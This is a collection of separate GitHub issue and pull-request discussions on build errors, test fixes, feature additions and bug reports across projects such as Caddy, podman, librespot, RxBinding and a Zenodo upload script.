Fetching https://golang.org/x/sys?go-get=1
Parsing meta tags from https://golang.org/x/sys?go-get=1 (status code 200)
golang.org/x/sys (download)
github.com/abiosoft/errs
github.com/fatih/color/vendor/github.com/mattn/go-isatty
github.com/abiosoft/caddyplug/internal
golang.org/x/sys/unix
github.com/fatih/color/vendor/github.com/mattn/go-colorable
github.com/fatih/color
github.com/abiosoft/caddyplug/caddyplug
fetching missing dependencies: caddy, dnsproviders, hook.pluginloader
github.com/mholt/caddy/vendor/github.com/flynn/go-shlex
github.com/mholt/caddy/vendor/github.com/google/uuid
github.com/mholt/caddy/telemetry
github.com/mholt/caddy/caddyfile
github.com/mholt/caddy
Cloning into '/root/lib/caddy/gopath/src/github.com/caddyserver/dnsproviders'...
github.com/abiosoft/caddyplug (download)
github.com/abiosoft/caddyplug/internal
github.com/abiosoft/caddyplug
done fetching depedencies.

github.com/abiosoft/caddy-git (download)
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/vendor/golang.org/x/crypto/curve25519
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/vendor/golang.org/x/crypto/hkdf
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/vendor/github.com/cheekybits/genny/generic
github.com/abiosoft/caddy-git/gitos
github.com/mholt/caddy/vendor/github.com/flynn/go-shlex
github.com/mholt/caddy/vendor/github.com/google/uuid
github.com/mholt/caddy/vendor/github.com/hashicorp/go-syslog
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/vendor/github.com/bifurcation/mint/syntax
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/internal/protocol
github.com/mholt/caddy/telemetry
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/vendor/github.com/hashicorp/golang-lru/simplelru
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/internal/utils
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/vendor/github.com/hashicorp/golang-lru
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/vendor/github.com/bifurcation/mint
github.com/mholt/caddy/caddyfile
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/vendor/github.com/lucas-clemente/aes12
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/internal/congestion
github.com/mholt/caddy
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/vendor/github.com/lucas-clemente/quic-go-certificates
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/qerr
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/internal/flowcontrol
github.com/mholt/caddy/vendor/golang.org/x/text/transform
github.com/mholt/caddy/vendor/golang.org/x/text/unicode/bidi
github.com/mholt/caddy/vendor/golang.org/x/net/http2/hpack
github.com/mholt/caddy/vendor/golang.org/x/text/unicode/norm
github.com/mholt/caddy/vendor/golang.org/x/text/secure/bidirule
github.com/mholt/caddy/caddyhttp/staticfiles
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/internal/crypto
github.com/mholt/caddy/vendor/github.com/klauspost/cpuid
github.com/mholt/caddy/vendor/github.com/xenolf/lego/acme
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/golang.org/x/crypto/ocsp
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/internal/handshake
github.com/mholt/caddy/vendor/github.com/cenkalti/backoff
github.com/mholt/caddy/vendor/github.com/xenolf/lego/certcrypto
github.com/mholt/caddy/vendor/golang.org/x/net/idna
github.com/mholt/caddy/vendor/github.com/xenolf/lego/acme/api/internal/sender
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/golang.org/x/crypto/ed25519/internal/edwards25519
github.com/mholt/caddy/vendor/github.com/xenolf/lego/acme/api/internal/nonces
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/golang.org/x/crypto/pbkdf2
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/internal/wire
github.com/mholt/caddy/vendor/golang.org/x/net/http/httpguts
github.com/mholt/caddy/vendor/golang.org/x/net/lex/httplex
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/gopkg.in/square/go-jose.v2/cipher
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/golang.org/x/crypto/ed25519
github.com/mholt/caddy/vendor/golang.org/x/net/http2
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/gopkg.in/square/go-jose.v2/json
github.com/mholt/caddy/vendor/github.com/xenolf/lego/log
github.com/mholt/caddy/vendor/github.com/xenolf/lego/challenge
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/internal/ackhandler
github.com/mholt/caddy/vendor/github.com/xenolf/lego/platform/wait
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/golang.org/x/text/transform
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/golang.org/x/text/unicode/bidi
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/gopkg.in/square/go-jose.v2
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/golang.org/x/text/secure/bidirule
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/golang.org/x/text/unicode/norm
github.com/mholt/caddy/vendor/github.com/xenolf/lego/acme/api/internal/secure
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/golang.org/x/net/bpf
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/golang.org/x/net/idna
github.com/mholt/caddy/vendor/github.com/xenolf/lego/acme/api
github.com/mholt/caddy/vendor/github.com/lucas-clemente/quic-go/h2quic
github.com/mholt/caddy/vendor/github.com/xenolf/lego/challenge/http01
github.com/mholt/caddy/vendor/github.com/xenolf/lego/challenge/tlsalpn01
github.com/mholt/caddy/vendor/github.com/xenolf/lego/certificate
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/golang.org/x/net/internal/iana
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/golang.org/x/net/internal/socket
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/golang.org/x/sys/unix
github.com/mholt/caddy/vendor/github.com/xenolf/lego/registration
github.com/mholt/caddy/vendor/golang.org/x/crypto/ocsp
github.com/mholt/caddy/vendor/github.com/russross/blackfriday
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/golang.org/x/net/ipv4
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/golang.org/x/net/ipv6
github.com/mholt/caddy/vendor/gopkg.in/natefinch/lumberjack.v2
github.com/mholt/caddy/vendor/github.com/xenolf/lego/vendor/github.com/miekg/dns
github.com/mholt/caddy/vendor/github.com/xenolf/lego/challenge/dns01
github.com/mholt/caddy/vendor/github.com/xenolf/lego/challenge/resolver
github.com/mholt/caddy/vendor/github.com/xenolf/lego/lego
github.com/mholt/caddy/vendor/github.com/mholt/certmagic
github.com/mholt/caddy/caddytls
# github.com/mholt/caddy/caddytls
caddytls/config.go:410:31: undefined: tls.VersionTLS13
caddytls/config.go:433:12: undefined: tls.VersionTLS13
Cloning into '/go/src/github.com/caddyserver/builds'...
# github.com/mholt/caddy/caddytls
../caddytls/config.go:410:31: undefined: tls.VersionTLS13
../caddytls/config.go:433:12: undefined: tls.VersionTLS13
2019/03/13 09:54:45 exit status 2
exit status 1
ERROR: Service 'caddy' failed to build: The command '/bin/sh -c VERSION=${version} PLUGINS=${plugins} /bin/sh /usr/bin/builder.sh' returned a non-zero code: 1

You probably have an old abiosoft/caddy:builder image. Try to update it to the latest version with
docker pull abiosoft/caddy:builder

The error itself is caused by an old Go version and described in mholt/caddy#2492, BTW.

I tried that in a fresh new server, however same problem on my local machine:
Rafaels-iMac: milewski$ docker pull abiosoft/caddy:builder
builder: Pulling from abiosoft/caddy
Digest: sha256:11ffbb2efab1b284f5d771e66a15f2bd3ba6193446be0ad688e0e6446d894338
Status: Image is up to date for abiosoft/caddy:builder

Rafaels-iMac: milewski$ docker run --rm abiosoft/caddy:builder go version
go version go1.11.5 linux/amd64

Perhaps the published image to docker hub is out of date?

I am not able to reproduce this. This means you likely have an older version cached.
Try removing the image with docker rmi -f abiosoft/caddy:builder and then try again.

I think the reason is that im using the official docker china mirror: https://www.docker-cn.com/registry-mirror and it seems to be out of sync with hub.docker.com, switching to the default repository it works!...


add timeout to fix file monitor issue

Attempt to fix #85.
Potential issues not resolved by this pull request:

Based on the doc of timeout_add, callback function passed in timeout is repeatedly called.  But based on testings on my laptop, it is only called once. The code might need to call "source_remove" after using timeout_add().

Based on testing, 100 ms timeout is not long enough for writing changes made by _archive_daily_csv_file. But it does not cause any issues on the user side.

Thx for the pull!


Fix git tests with sparse Rally git checkouts

The previous git tests relied on the Rally git checkout, but:

GitHub Actions does not checkout the whole history to make the git clone faster.
Using a dummy repo makes those tests 10x faster , with pytest tests/utils/git_test.py now taking 0.40s instead of 5.98s on my laptop.

I've also started using GitPython in tests which makes the setup/teardown easier to write and read in my opinion.

Annoyingly Jenkins still uses Git 2.17 from 2019 which does not support git init --initial-branch. GitHub Actions comes with Git 2.39.1 instead, released a few days ago.

I fixed it by using "master" for now. According to git init output it's not safe to rely on this but it will do until the migration off Jenkins.

One high level comment before I review it is that the GitPython project is in maintenance mode:

This project is in maintenance mode, which means that
…there will be no feature development, unless these are contributed
…there will be no bug fixes, unless they are relevant to the safety of users, or contributed
…issues will be responded to with waiting times of up to a month

Given we're only using this in tests, I don't think it's a big deal, but I wanted to call it out.

One high level comment before I review it is that the GitPython project is in maintenance mode

Yes, I've noticed that. But then I looked at the commit activity and noticed that this was still a very active project: https://github.com/gitpython-developers/GitPython/commits/main, despite existing for years. It's true that the original author has mostly moved on, but I think using this project is safe.

Besides my comment on the dependency's maintenance status, this doesn't work in its current form on my Mac because my version of Git (git version 2.37.1 (Apple Git-137.1)) defaults to creating main.

Oh, that's surprising. GitHub Actions and my Fedora laptop bot have git 2.39.1 and the default is still master (but with a warning that it may change in the future). Anyway, I've added cf2684f (#1667) as a workaround until we migrate to GitHub Actions and can just use main by using --initial-branch.

Can you please take another look and check that you can run git tests on your Mac?


Feature: Target Element for scroll top

@rwwagner90
Basic idea here is to

set a target element to scroll to for every didTransition by updating the default coordinates of where to scroll to when the next page paints

close #99

@rwwagner90 I know you are busy but lmk if there is anything I can do to make it more digestible.  Absolutely no rush though 👍

Is the idea that this is for supporting elements that are not scrollable? I'm a bit unclear on how an element that is not scrollable can support router scroll in the first place. Please forgive my ignorance here 😕

@rwwagner90 So scrollElement is for a scrollable area (so overflow scroll) by setting scrollTop on the scrollable element.  Probably can improve the docs on this.  targetScroll is just an element on the page (dummy app /target route has a nav that it scrolls to after route transition).

@snewcomer please add the desired version you'd like to release in package.json and I will publish today. ~Thanks


Suggestions on page /tutorials/TechnicalHelp/Discord.html

It is very time-consuming to search for your own nickname on the large list of server members. A better description for step number 3.a.i could be:

i. Click on 'User Settings' icon on the bottom-left corner. Go to the 'Profiles tab' and the 'Server Profiles' subtab. Under 'CHOOSE A SERVER' box, select the NMA server(s) you are in. Change your display name on the 'SERVER NICKNAME' box.

A better description for step 3.b could be:

You can start private messages with anybody. In order to do so, click on 'Direct Messages' icon on the top-left corner. Click on the box 'Find or start a conversation' and then write the nickname or username on the box to search. Click on the name of a user in the results and a chat with the user will open. (You can use anywhere the @ symbol before the username to quickly search and tag that user)

A better description for step 3.c could be:

You can start group private messages with anybody as long as you send them a friend request and they accept it. For this go to 'Direct Messages' page and click on 'Friends' button which is below the box 'Find or start a conversation'. Click on the 'Add a friend' tab on the top. Search by username the user you would like to add. To create a new group private message click on 'New Group DM' icon on the top-right corner, check all the friends you would like to be in the new group private message and then click on 'Create DM'.
points i. and ii. could be left as they are

Could you please allow me to suggest changes or leave comments on the Google Doc? I sent an access request some moments earlier today.

Please find attached some more of my suggestions:

Page 4-6
-- Channel guide / TEACHING ASSISTANTS / attendance help-desk: delete DL and write NMA courses
-- Channel guide / CONTENT HELP / general-content-help: last 2 sentences do not apply for 2024
-- Channel guide / INFORMATION / rules: delete "NMA-DL" and write "NMA courses"
-- Channel guide / DIVERSITY / change: change "specific role" to "specific group"? (review appropiate word with native speakers and self-identifying individuals)
-- #rules channel mentioned throught the guide is not visible now, but might be after course update

Page 7
-- Support guide / 1.a. / 3rd paragraph: provide link to FAQ

Page 9-10
-- None of the bots can be added with the links provided, but might be after course update
-- Bots are listed as Alumnus users. Guide should be updated to explain that in the use examples.
-- EasyPoll listed as Alumnus is not working. 1st error: Try in a few minutes. 2nd error: no permissions to use the command. This can be allowed in NMA 2024 following the instructions of this link. Alternatively you can use NMA poll instead and write its description as an example.
---> https://wiki.easypoll.bot/permissions/permission-system
---> https://wiki.easypoll.bot/permissions/required-bot-permissions

Pages 11-16

Friend Time (1st explanation) can be removed. 2nd explanation is better, I suggest at least to change "Then, whenever you state or react to a time in a chat" for something more specific as the description in the bot website:
-- "The bot will automatically react to times mentioned in the chat with a clock emoji 🕰. Clicking on this emoji will convert the time to your time zone which will be sent in a direct message (DM)." Modified from: https://friend-time.arilyn.cc/

Message Scheduler examples need to be improved. I cannot use it yet so I cannot make more specific suggestions. Easy Poll example is better but can also be improved.

Mathbot update instructions to new version, e.g. from '=' to '/' syntax. Picture on guide uses exponential (26)x = 218 and not multiplication. A screenshot of output of current version would show this correctly.

Bookmarker guide may be improvable, cannot evaluate in discord for more specific suggestions.

Consider using AI Image Generator (https://discord.com/application-directory/1032699319368814652) instead of Skynet (I could not find).

Consider using Discord Stage channels instead of AMA bot (automoderator.app) and maybe even other broadcasting sessions https://support.discord.com/hc/en-us/articles/1500005513722-Stage-Channels-FAQ

Consider reviewing open-source good practices of the suggested website app providers. Some can actually be updated with official discord website (as the one from AI Image Generator provided).

Threads/ : Update 1st screenshot to depict the updated icon for creating threads. Screenshots for the displayed GUI can also be updated. Discord FAQ website has screenshots from unupdated version too. Mention that it will be archived in 7 days and can be consulted afterward by searching with the same icon.


Hang when using enable_persistent_kernel_cache

On recent main commits (Last one tested: 77ba946) we are seeing hangs on the mistral7b demo code when using enable_persistent_kernel_cache in conjunction with program_cache.
The hang disappears if we disable program_cache or the persistent_kernel_cache, but both on it hangs.
This is currently impacting mistral7b performance, going from around 11 tok/s/u to around 8 tok/s/u end-to-end.

@mtairum program cache should be sufficient to get the target end2end performance.
Persistent kernel cache only saves kernel binary compile time, which happens only during the first past of the model.
First couple of model iterations should be discounted for performance measurements anyway , during which kernel binaries are compiled and program cache is constructed.

@arakhmati , this failed w/ program cache. Are you the right person to debug this?

leave it un-prioritize for now. Is this the highest order performance issue we should look at?

Do we have a fix for this? @mtairum

No, no fix yet.

Can we identify the op that we are hanging on? And the visualizer can also yield a hash for that the program hash on?
@eyonland, can you share the documentation?

I've tested both in release and debug mode, no hangs anymore. closing this issue.


Disable SELinux labeling if privileged and user does not specify labels

The previous patch mistakenly turned on SELinux even when --privileged.
This patch will disable SELinux, if the user specified --privileged and
did not specify any SELinux options.
Signed-off-by: Daniel J Walsh<EMAIL_ADDRESS>

@mheon PTAL

LGTM

Force-merging since CI is down

Hello,
I think this kind of revert to the previous situation where podman doesn't honour the "--security-opt" when "--privileged" is passed. Doing a test right now, and, well.... we're back to the previous state: "--privileged --security-opt label=filetype:container_share_t" doesn't apply the filetype (still container_file_t in the container).

(scratch my comment - there's another issue, --pid=host is preventing the application of --security-opt)

@cjeanner Please be more specific.  --pid=host will cause the SELinux labels to not be applied, is that the problem you are seeing?  What command exacly are you having problems with?

@rhatdan hello! so everything is explained here, with a reproducer: https://bugzilla.redhat.com/show_bug.cgi?id=1846364#c23
Lemme know if you need more infos.

https://github.com/containers/libpod/pull/6832


Add gstreamer backend to librespot

Fixes https://github.com/librespot-org/librespot/issues/28
Thanks to the gapless playback enhancements, this is working much better than it did in December. I also recently got rid of all my warnings and did a rustfmt.
One current bug is that the apparent playback position in the Spotify GUI is very slightly (about 1 second) ahead of the actual position of the song as you're hearing it out of your headphones. It's much, much better with the gapless fixes from kaymes, but still slightly behind. This is because the appsrc has a 4k buffer, and some of the other pipeline elements (audio sinks, for example) also have buffers. Without a little bit of pipeline buffering it would be very choppy.
Note: I don't think this backend works particularly well with the assumptions of "gapless mode disabled." It works fine for gapless-enabled though.
I also need to document this backend on the wiki under Audio_Backends, but I don't want to add docs for something that won't be merged, so I'll add that afterwards.
The biggest thing for newbies to understand will be how to write a correct device argument for gstreamer. This is only necessary if the user wants something other than the audio going directly to the autoaudiosink (a gstreamer-determined "sane default" for audio playback based on the user's system), but there are quite some valid use cases for wanting something different (network streaming over rtp or something to a "smart speaker," for instance.)
I'm still sort of a rust newbie, so I will work on improving my branch if this isn't up to snuff yet.

Looks like Travis bombed on basically the entire codebase not being up to rust-nightly's rustfmt standards. That's the only failure.

@allquixotic, sorry for the silence, I am currently stuck on windoze for now, so can't test - hopefully someone will jump soon!

@ashthespy I actually got this working on Windows before. The process is roughly analogous to building Rust itself, but you also need a good build of GStreamer. Fortunately, dynamically loaded DLLs on Windows can be loaded into any process regardless of whether the hosting process was compiled with MinGW or MSVC++, so you can download GStreamer binaries (as long as they have the needed plugins to test this out) and hook them into a librespot build. It isn't too difficult.

If you rebase onto dev travis should be happy about formatting again btw - and a nightly failure won't completely fail a build.

Made all changes requested. I also got rid of my branch's conflicts with Cargo.lock by just making my Cargo.lock equivalent to the upstream one. I really kind of hate that file, though; if I had my druthers it wouldn't be in source control at all. :D

FYI I think @ashthespy has been playing around with newer versions of tokio which would probably mean a big minimum compiler version bump soon.
Looks like glib might only support rust version 1.40 and up... https://github.com/gtk-rs/glib/blob/master/.travis.yml

FYI I think @ashthespy has been playing around with newer versions of tokio which would probably mean a big minimum compiler version bump soon.

Hmm, haven't checked in detail, but IIRC it shouldn't be an issue with our MSRV.. (1.33)

Please see the commit log on my branch ^^ for the changes I've made attempting to resolve the latest issues encountered.

Hmm, haven't checked in detail, but IIRC it shouldn't be an issue with our MSRV.. (1.33).
But this sits behind a feature flag, so it should be okay!

Yeah fair enough, it would be good to get travis setup to not test gstreamer on 1.33 then - can probably just add this feature where fmt is run in matrix.include

Hmm, haven't checked in detail, but IIRC it shouldn't be an issue with our MSRV.. (1.33).
But this sits behind a feature flag, so it should be okay!

Yeah fair enough, it would be good to get travis setup to not test gstreamer on 1.33 then - can probably just add this feature where fmt is run in matrix.include

Can you clarify what change would be needed to .travis.yml to make this happen?

Honestly, I'm not sure. I'd have to just play around.

I think it should be fine to add this. Still haven't created the long awaited daemon spinoff project yet, thus I think we can pull this into the library for now. With regard to a compiler bump, that should be fine. I'm just releasing a new version to crates atm, will try and look at this later and get it merged to dev, haven't reviewed it yet though so might need some updating.

Just triggering a rebuild. Expect that it builds fine, will give it a once over then merge. Should be in v0.1.3 of the library, gstreamer is great, albeit a little clunky to set up initially. @allquixotic are you still ok to document this in the wiki?

@sashahilton00 I am good to document this, yes. I am honestly unsure of how to fix the travis CI issues if it's still failing, and I'm not invested enough in getting it merged to master to bother with fixing Travis.
I will, however, document this functionality on the wiki, and I am willing to diagnose/fix bugs in the code that affect correctness, style, performance, etc. pertaining to the gstreamer backend. Basically I just don't want to fight with Travis CI, but I am willing to help with everything else.

@allquixotic I wouldn't worry about Travis, it's pretty temperamental. Just wanted to rebuild it against latest codebase as there have been a few changes as I don't fully trust Github merge conflict checker (had issues in the past). Thanks for contributing this PR.

Have merged as is. Code looks fine, if there are any bugs I'm sure we can fix them as we go.


'sort' field missing on issue pagination link

http://<IP_ADDRESS>/developer/zngh_platform_fix/issues?type=all&sort=oldest&state=open&labels=0&milestone=0&assignee=0

http://<IP_ADDRESS>/developer/zngh_platform_fix/issues?type=all&state=open&labels=0&milestone=0&assignee=0&page=2

Hi, I've pushed fix to develop branch, you can also test on https://try.gogs.io

Close as fixed.


Show tf32 info only on rank 0

What does this PR do?
The warning introduced in #16037 is currently shown on every rank. We can assume that the machine has all the same type of GPUs. Otherwise, there would anyway be a significant synchronization overhead. Thus, logging on rank 0 should be sufficient.
cc @borda @justusschock @awaelchli @carmocca
Before submitting

[x] Was this discussed/approved via a GitHub issue? (not for typos and docs)
[x] Did you read the contributor guideline, Pull Request section?
[x] Did you make sure your PR does only one thing, instead of bundling different changes together?
[x] Did you make sure to update the documentation with your changes? (if necessary)
[x] Did you write any new necessary tests? (not for typos and docs)
[x] Did you verify new and existing tests pass locally with your changes?
[x] Did you update the CHANGELOG? (not for typos, docs, test updates, or internal minor changes/refactorings)

PR review
Anyone in the community is free to review the PR once the tests have passed.
Before you start reviewing make sure you have read Review guidelines. In short, see the following bullet-list:

[x] Is this pull request ready for review? (if not, please submit in draft mode)
[x] Check that all items from Before submitting are resolved
[x] Make sure the title is self-explanatory and the description concisely explains the PR
[x] Add labels and milestones (and optionally projects) to the PR so it can be classified

Did you have fun?
I made sure I had fun coding 🙃

The caplog issues again. Test in CI behaves differently than local.


Modernise + marking notifications as "unread"

The main feature in this PR is that, like clicking a notification's "mark read" icon to mark it as read, clicking it on a read notification marks that notification as unread.
In the process, I modernised the notifications.js file (and syntax in the other edited files ;D) a bit and added the ability to mark notifications as read/unread from the default index page - this didn't work before.
I also made the widget pass in the i18n'd labels for "Mark as read" or "Mark as unread" - before that, the labels would default to the ones defined in notifications.js.
BREAKING CHANGES
This PR introduces the following breaking changes:

Bump minimum PHP version from 7.1 to 8.1 (7.1 has long been EOL). This also fixes #24 .
Update minishlink/web-push dependency accordingly
Browsers that do not support ES6 syntax can no longer run the notifications.js plugin

potential TODOs

The added i18n for "Mark as unread" is currently generated using google translate for spanish, italian and portuguese. As someone who speaks neither of those languages, the translations look correct to me, but a native speaker should maybe take a look at them :D

I am not sure its maintained now


Add a basic doc values example

Write an example that stores some doc values and uses them during a search.
Maybe do a low-level (i.e. no IndexSearcher) example of searching with a field sort?

@msfroh mind I pick this one? I have a few blind spots with doc values which I would like to figure out, and that sounds like a good contribution ... :-)

Yes please! Thanks a lot @reta.

I think we could close this one (I sadly cannot), thanks @msfroh !


EARL-based

I'd have to step out of my current workflow to review, so I'll wait till I got head above water. But it looks good.

OK, since the existing line-parser was very temporary, I'll merge this one now, and you or I can iterate on it for instance in the context of #65.


refactor(semantic): rename iter_parents to ancestors

for consistency with the ancestor_ids function, this changes it to use the same terminology but make it clear it actually returns the node, not just the ID.
this is pure refactor, no functional changes here.

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#7217
#7216  👈
#7215
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @camchenry and the rest of your teammates on  Graphite

Merge activity

Nov 9, 1:59 AM EST: The merge label '0-merge' was detected. This PR will be added to the Graphite merge queue once it meets the requirements.


TabLayout selections has an error

@JakeWharton Calling TabLayout's selections will cause an error. How can I fix this?
Version:
rxbinding:3.0.0-alpha2
Code:
        tab_layout
                .selections()
                .compose(bindUntilEvent(FragmentEvent.DESTROY_VIEW))
                .subscribe {
                    when (it.position) {
                        0 -> setFabIcon(R.drawable.ic_fab_create_black_24dp)
                        1 -> setFabIcon(R.drawable.ic_person_add_black_24dp)
                        2 -> floating_action_button.hide()
                        3 -> floating_action_button.hide()
                    }
                }.isDisposed

        <com.google.android.material.tabs.TabLayout
            android:id="@+id/tab_layout"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            app:tabMaxWidth="0dp"
            app:tabGravity="fill"
            app:tabMode="scrollable" />

Error:
    io.reactivex.exceptions.UndeliverableException: The exception could not be delivered to the consumer because it has already canceled/disposed the flow or the exception has nowhere to go to begin with. Further reading: https://github.com/ReactiveX/RxJava/wiki/What's-different-in-2.0#error-handling | java.lang.ClassCastException: com.jakewharton.rxbinding3.material.TabLayoutSelectionsObservable$Listener cannot be cast to com.google.android.material.tabs.TabLayout$BaseOnTabSelectedListener
        at io.reactivex.plugins.RxJavaPlugins.onError(RxJavaPlugins.java:367)
        at io.reactivex.Observable.subscribe(Observable.java:12097)
        at io.reactivex.Observable.subscribe(Observable.java:12076)
        at io.reactivex.Observable.subscribe(Observable.java:11979)

got the same error as well

What version of material library are you using?

您使用的是什么版本的材料库？

1.1.0-alpha02

Are you sure? 1.1.0-alpha02 contains this commit https://github.com/material-components/material-components-android/commit/cce3b93a9da27678ebf9175eaaaebf9f63bbd712#diff-ad8b89666481982eef6a9e7c2798ad6c which should resolve the error.
This is a bug in the Material library which breaks binary compatibility between 1.0.0 and the version you are using. If you are using 1.1.0-alpha02 and still experience the crash then you need to file a bug on the Material Components library.

Yes, I have submitted an issue to google issuetracker.

Yes, I have submitted an issue to google issuetracker.

@tcqq can you share a link to the issue so I can star it?
I am using com.google.android.material:material:1.1.0-alpha06 and rxbinding-3.0.0-alpha02 and getting this crash.

Yes, I have submitted an issue to google issuetracker.

@tcqq can you share a link to the issue so I can star it?
I am using com.google.android.material:material:1.1.0-alpha06 and rxbinding-3.0.0-alpha02 and getting this crash.

@dimsuz https://issuetracker.google.com/issues/122348863

Hi,
I recently experienced this issue and the resolution seems to have stalled. There is a workaround:

If you really need this behavior before the fix goes into RxBinding, you could copy the TabLayoutSelectionsObservable code into your project and make Listener implement BaseOnTabSelectedListener instead.

But I wonder if it can or will be fixed in this library since the issue is still open?

Yes it can be fixed. PR welcome, otherwise it's on my backlog.
On Thu, Jun 27, 2019 at 6:30 PM Niclas Kron<EMAIL_ADDRESS>wrote:

Hi,
I recently experienced this issue and the resolution seems to have
stalled. There is a workaround:
If you really need this behavior before the fix goes into RxBinding, you
could copy the TabLayoutSelectionsObservable code into your project and
make Listener implement BaseOnTabSelectedListener instead.
But I wonder if it can or will be fixed in this library since the issue is
still open?
—
You are receiving this because you modified the open/close state.
Reply to this email directly, view it on GitHub
https://github.com/JakeWharton/RxBinding/issues/495?email_source=notifications&email_token=AAAQIEPRHIVICQSSSXASWOLP4U5SFA5CNFSM4GL5GN5KYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODYYRWJI#issuecomment-506534693,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAAQIEJQOQFVOUZZHKURRNDP4U5SFANCNFSM4GL5GN5A
.

Like selection () method , can we use onLongClick() on TabLayout


Added the code to handle the operationtypes which do not have convertible type

All 3 bugs are fixed i.e. 7656, 7657, 7658

merged, please update the ticket.


Message "FAIL: Detected 3 files with errors." when no errors where printed

Log only has 3 warnings:
api/ws.py: 20: [W:no-init] -- Class has no init method
api/wsclient.py: 11: [W:no-init] -- Class has no init method
bootstrap.py:  6: [W:redefined-outer-name] -- Redefining name 'use_testnet' from outer scope (line 29)
So I can't build it.

You don't need to run make to run the server. It's only used for running tests.


(IDEA) Add more categorie

Its very nice to work whit Todo but i use other comments mark ... like FIXME BUG IDEA and other can you add categorie on this ?
http://prntscr.com/fh97gg

@BellemareMederic Just add the tags you want to the RegExp Pattern under settings. It defaults to TODO:
(TODO:|FIXME:|CHANGED:|XXX:|IDEA:|HACK:| NOTE:|REVIEW:|NB:|BUG:).+

That should be a default though.  At least include all the tags used in the atom official todo language.

In my fork I've changed the default regex to target the tags of language-TODO. I'll make a PR when I've accomplished my goal (see #38)


Zenodo upload

This PR adds a script to upload the events to Zenodo and update the .md and .pdf files with the received DOIs. At this stage, the files in ci/ have phony DOIs from the Zenodo Sandbox enviornment. We should review the updated files and if all is well, run the script again on the real Zenodo platform (this basically means using a different access token)

One issue is that I do not store the deposition ids, so everything needs to go in one run. Let's assume you run it without --publish, then all .md and .pdfs have changed with the new DOIs but afterwards you wish to publish you have to run this again and all .mds will be skipped because they already have a DOI...

One issue is that I do not store the deposition ids, so everything needs to go in one run. Let's assume you run it without --publish, then all .md and .pdfs have changed with the new DOIs but afterwards you wish to publish you have to run this again and all .mds will be skipped because they already have a DOI...

I could add a return list and one line at the end of the loop:
depositions.append({ 'deposition_id': deposition_id, 'event_path': path, 'published': publish}) to track if we have published items or not, and then add a function to publish based on deposition id. I assume Zenodo will allow this from within a new session.

I could add a return list and one line at the end of the loop:
depositions.append({ 'deposition_id': deposition_id, 'event_path': path, 'published': publish}) to track if we have published items or not, and then add a function to publish based on deposition id. I assume Zenodo will allow this from within a new session.

sounds good to me. Sure, zenodo does not have a problem with this

I could add a return list and one line at the end of the loop:
depositions.append({ 'deposition_id': deposition_id, 'event_path': path, 'published': publish}) to track if we have published items or not, and then add a function to publish based on deposition id. I assume Zenodo will allow this from within a new session.

sounds good to me. Sure, zenodo does not have a problem with this

Made the changes. not that convinced yet about the workflow, but will have another look tonight.

Maybe it would be good to just output the urls at the end and then one can review each submission and publish it manually

Maybe it would be good to just output the urls at the end and then one can review each submission on zenodo and publish it manually

That might be easier yes, but the URL contains the token in plaintext :smile:

for reference, if we'd like to keep the drafted depositions and publish them :smile: I assume this will only work with my personal token.
https://zenodo.org/api/deposit/depositions/4298650/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298652/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298655/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298657/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298659/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298661/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298663/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298665/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298667/actions/publish?access_token=$ACCESS_TOKEN
https://zenodo.org/api/deposit/depositions/4298669/actions/publish?access_token=$ACCESS_TOKEN
